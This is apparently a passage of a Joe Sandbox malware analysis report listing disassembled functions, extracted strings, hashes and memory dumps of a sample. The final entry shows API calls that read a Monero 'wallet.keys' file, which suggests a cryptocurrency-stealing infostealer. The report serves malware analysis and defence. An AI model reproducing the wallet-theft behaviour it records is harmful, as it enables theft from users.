Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 0d5e605b65411885da704e0d51e0229b8e585bdb40dfcc7a03836da678c5fee9
Instruction ID: 0e7f795ddac9a8f5ca202a2273e8c477e0e34903bb0f6f506466ffbffbc4b6d2
Opcode Fuzzy Hash: 0d5e605b65411885da704e0d51e0229b8e585bdb40dfcc7a03836da678c5fee9
Instruction Fuzzy Hash: 9F11C9B8A00209EFDB04DF94D995AAEB7B9FF88301F104598E915A7350D774AE50CFA1

Function 00C6248D Relevance: 2.7, Strings: 2, Instructions: 221COMMON

Download Yara Rule

Strings

Akm, xrefs: 00C62536
.'^, xrefs: 00C6260D

Memory Dump Source

Source File: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .'^$Akm
API String ID: 0-839304180
Opcode ID: 5449bc2eb6124dcb0f727e47d95586b825364ae3346b8a6751768cd350023aee
Instruction ID: 0ea125c542fd34477d324922759ac6cc57cbcd4a3828f97a37d725f55071cf86
Opcode Fuzzy Hash: 5449bc2eb6124dcb0f727e47d95586b825364ae3346b8a6751768cd350023aee
Instruction Fuzzy Hash: 266168F3A586044BF318693DDC09776BACADBD0320F1A463DDA99C37C4ED7988018286

Function 00C2A927 Relevance: 2.7, Strings: 2, Instructions: 194COMMON

Download Yara Rule

Strings

t<>@, xrefs: 00C2A942
t<>@, xrefs: 00C2A961

Memory Dump Source

Source File: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID:
String ID: t<>@$t<>@
API String ID: 0-2757028912
Opcode ID: 35ff50c358b79ec7b41083710085b461f30842b3ec5ec2709dfe246a7ee39d89
Instruction ID: 38c2e6b41d6e7049fc2cf4c407380a666f1d3983cb7f08ca4b14b0ae4dbcb1d8
Opcode Fuzzy Hash: 35ff50c358b79ec7b41083710085b461f30842b3ec5ec2709dfe246a7ee39d89
Instruction Fuzzy Hash: DB5127F36282005FF30C5A2DDD957BA77D7DBD4320F2A863DD684C3B84DA3998054656

Function 00B9C936 Relevance: 1.5, Strings: 1, Instructions: 222COMMON

Download Yara Rule

Strings

1!], xrefs: 00B9CB61

Memory Dump Source

Source File: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 1!]
API String ID: 0-2263508704
Opcode ID: d22992bc973bee7bfe52fb5b950899175c0b9b4a7351be90c20f95e52e05033a
Instruction ID: 0a5c860972280ca0ed32d2bd3941a36d2ec790449e2ad0ab1a047512d82396d4
Opcode Fuzzy Hash: d22992bc973bee7bfe52fb5b950899175c0b9b4a7351be90c20f95e52e05033a
Instruction Fuzzy Hash: 3D71D7F3A082009BF714AE2CDC8676AB7E5EF94710F1A853DDBC8C3784E93959158686

Function 00BB397A Relevance: 1.4, Strings: 1, Instructions: 181COMMON

Download Yara Rule

Strings

_}d, xrefs: 00BB3B48

Memory Dump Source

Source File: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID:
String ID: _}d
API String ID: 0-1223627365
Opcode ID: 06858ca55e2d1e53677e451f361fcb00e151fded85b0a9d90d231c1614fb418b
Instruction ID: 34ba9f36d0864b722c8e1f461fd4ca4fc8b59355d269101b3fc6c169e6f8d916
Opcode Fuzzy Hash: 06858ca55e2d1e53677e451f361fcb00e151fded85b0a9d90d231c1614fb418b
Instruction Fuzzy Hash: 065139B3E081205FE3086A6DDC097BBBBDADBD4660F1B463EDD8593784D8751C0482C6

Function 00C10F57 Relevance: 1.4, Strings: 1, Instructions: 181COMMON

Download Yara Rule

Strings

aS}, xrefs: 00C110A3

Memory Dump Source

Source File: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID:
String ID: aS}
API String ID: 0-4015726027
Opcode ID: 00437aaeff16a0cde72ef56a90c29a8a2b9b0733760ae3763bc30d4dc4c5bce9
Instruction ID: 8bfb53655b53820b6bcd87cc2f2273713cd331d09916f0db2b11c7ec7d4e0a21
Opcode Fuzzy Hash: 00437aaeff16a0cde72ef56a90c29a8a2b9b0733760ae3763bc30d4dc4c5bce9
Instruction Fuzzy Hash: FC5144F36483089FE308AD7CED9973ABBC4D744624F59063DFA81C7B84F93999058246

Function 00B8860C Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

Q)a., xrefs: 00B88714

Memory Dump Source

Source File: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Q)a.
API String ID: 0-3310984605
Opcode ID: d8b18c8d17f148ca8c36ffbd6681d40bc52b153cc18df912ec3153635cdcf9f5
Instruction ID: 190e267fa0cc54ae7cdfa8a6640a27370e3e6590b1c928cc0437245ea472685f
Opcode Fuzzy Hash: d8b18c8d17f148ca8c36ffbd6681d40bc52b153cc18df912ec3153635cdcf9f5
Instruction Fuzzy Hash: 814107F7A182185FE7007A2DDC427BAB3D9DBD4721F0B453DE794C3B44EA399801869A

Function 00BF3E4A Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06f4954965d12f3af7bfbaaf16673c17ea1b6fd4994170f835b1cf65051e54d5
Instruction ID: b5e4e2a57a454a62e03fac032df91a58bb72bd879e46d8047cadf6c3d1365871
Opcode Fuzzy Hash: 06f4954965d12f3af7bfbaaf16673c17ea1b6fd4994170f835b1cf65051e54d5
Instruction Fuzzy Hash: DA51E9B3A0C3109FE3046E29DC8577ABBE5EF94320F1A493EE6C5C3780E97958454796

Function 00BA8D08 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b95df0a3be28a8334b375fe91ac547f8717f38cf6467944ab754491b4c299d4
Instruction ID: fb0156cbc8fa1d4a59ad9507820dacef4f4283b3fe6e9c2fedf1184518623022
Opcode Fuzzy Hash: 5b95df0a3be28a8334b375fe91ac547f8717f38cf6467944ab754491b4c299d4
Instruction Fuzzy Hash: 7C5139F3A083005FE3086E39ED9973ABAD5DB84324F17063DEA85C3784ED7948018686

Function 00B94BE1 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c109536606018681fdae8973696843452f85a0beda2b0b74f9a7dee32893f62
Instruction ID: 60e6d7b05e021442d698049caaecffb810b09863820aa484e4235bc2598dbb11
Opcode Fuzzy Hash: 6c109536606018681fdae8973696843452f85a0beda2b0b74f9a7dee32893f62
Instruction Fuzzy Hash: 604138F3E192005BE704692EDC55766BBD79BD8330F3B863DEA94D7388ED3458058285

Function 00C60115 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 782861f511a7d445c6ac3bc383a74a6cf5fc776e6ddf0e899ff9b422d5cc11bb
Instruction ID: 7d17ac5c99a46dbcebea0db4eae327d7deba41f07f73b485ed2c1a923b92c3ea
Opcode Fuzzy Hash: 782861f511a7d445c6ac3bc383a74a6cf5fc776e6ddf0e899ff9b422d5cc11bb
Instruction Fuzzy Hash: ED414BF26085049FE704AE2EEC4176AB7E6FFD4320F168A3DD6C5C3394E97954168683

Function 00D5EEA2 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae98f08dcd91172ea00b3004cdf2212f3d955746787eee0b8ab340283b07e637
Instruction ID: bf954409ca9fb36b8996f44bdd99f58f194ae72f67dfabff5209c2eed066eb56
Opcode Fuzzy Hash: ae98f08dcd91172ea00b3004cdf2212f3d955746787eee0b8ab340283b07e637
Instruction Fuzzy Hash: 624194F39082149BD3186E29DC567BAFBE5EF48320F06052EEAC583790EA3508108BD6

Function 00929750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00920250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

Part of subcall function 00928DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00928E0B

Part of subcall function 0092A920: lstrcpy.KERNEL32(00000000,?), ref: 0092A972
Part of subcall function 0092A920: lstrcat.KERNEL32(00000000), ref: 0092A982

Part of subcall function 0092A8A0: lstrcpy.KERNEL32(?,00930E17), ref: 0092A905

Part of subcall function 0092A9B0: lstrlen.KERNEL32(?,01049D28,?,\Monero\wallet.keys,00930E17), ref: 0092A9C5
Part of subcall function 0092A9B0: lstrcpy.KERNEL32(00000000), ref: 0092AA04
Part of subcall function 0092A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0092AA12

Part of subcall function 0092A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0092A7E6

Part of subcall function 009199C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009199EC
Part of subcall function 009199C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00919A11
Part of subcall function 009199C0: LocalAlloc.KERNEL32(00000040,?), ref: 00919A31
Part of subcall function 009199C0: ReadFile.KERNEL32(000000FF,?,00000000,0091148F,00000000), ref: 00919A5A
Part of subcall function 009199C0: LocalFree.KERNEL32(0091148F), ref: 00919A90
Part of subcall function 009199C0: CloseHandle.KERNEL32(000000FF), ref: 00919A9A

